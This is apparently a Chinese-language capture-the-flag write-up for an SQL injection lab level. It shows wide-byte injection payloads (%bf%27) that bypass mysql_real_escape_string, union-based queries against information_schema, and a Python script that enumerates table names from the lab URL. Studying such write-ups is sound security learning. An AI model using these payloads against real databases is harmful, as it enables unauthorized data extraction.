网络信息安全攻防学习平台_注入关(第3关)_题解

用了小半天的时间终于搞定了这题,成功后发现自己绕了个大弯……题目地址

首先尝试一下最简单的注入?id=1 and 1=1发现没有返回内容,那么 id=1' and '1'='1也不行(还进行了一些其他简单注入测试都没有成功…看来是有一定的防注入措施)

在搜索了一番后发现比较基本的方注入措施有使用mysql_real_escape_string()对获取到的参数中的几个特殊字符进行转移转义.那我们就按照后端使用了此函数进行注入.

当然这个函数有个严重漏洞—宽字符注入(大家自己搜索相关资料吧,我是在搜索与写php脚本试验后搞明白的).

?id=1%bf%27%20or%201=1%23 发现可行!现在我们就能"为所欲为"了;

接下来可利用limit来查看各条记录id=1%bf%27%20or%201=1%20limit%202,1%23就这样我们就能找到flag了…

以下是我的绕路过程……↓↓↓

但是我在试limit的时候稀里糊涂的错过了flag这条记录,所以我以为他在其他表……此处省略九九八十一难,我认为下一步应该是获取到当前数据库名,所以?id=1%bf%27%20union%20select%201,2,database()%23得到了数据库名:mydbs,然而在我想利用select table_name from information_schema.tables where TABLE_SCHEMA='mydbs' 获取是否有其他表时却发现引号为题无法解决无奈只好写了个python脚本获取了所有表的名称(凑合用…)

(更新:今天才发现其实可以这样直接获取表名…就用不到脚本了id=3%bf%27union%20select%202,2,table_name%20FROM%20information_schema.tables%20where%20table_schema=database()%20%23  ).

1
2
3
4
5
6
7
8
import urllib2,re,urllib,cookielib,base64,HTMLParser
for i in xrange(1,1000):
    url="http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf%27%20union%20select%201,TABLE_SCHEMA,table_name%20from%20information_schema.tables%20limit%20"+str(i)+",1%23"    req=urllib2.Request(url)
    req.add_header("Cookie","PHPSESSID=c7146a0406e46631e35e8b882c59cb9b")
    opener=urllib2.build_opener()
    html=opener.open(req).read()
    print html

最后发现这个库中只有这一个表sae_user_sqli4,然后我发现了这条可成功获得flag的答案id=2%bf%27%20union%20select%20*%20from%20sae_user_sqli4%20limit%202,1%23

在欢呼雀跃之后我发现我好像貌似可能是绕弯了…

随后就该出了最终结果id=1%bf%27%20or%201=1%20limit%202,1%23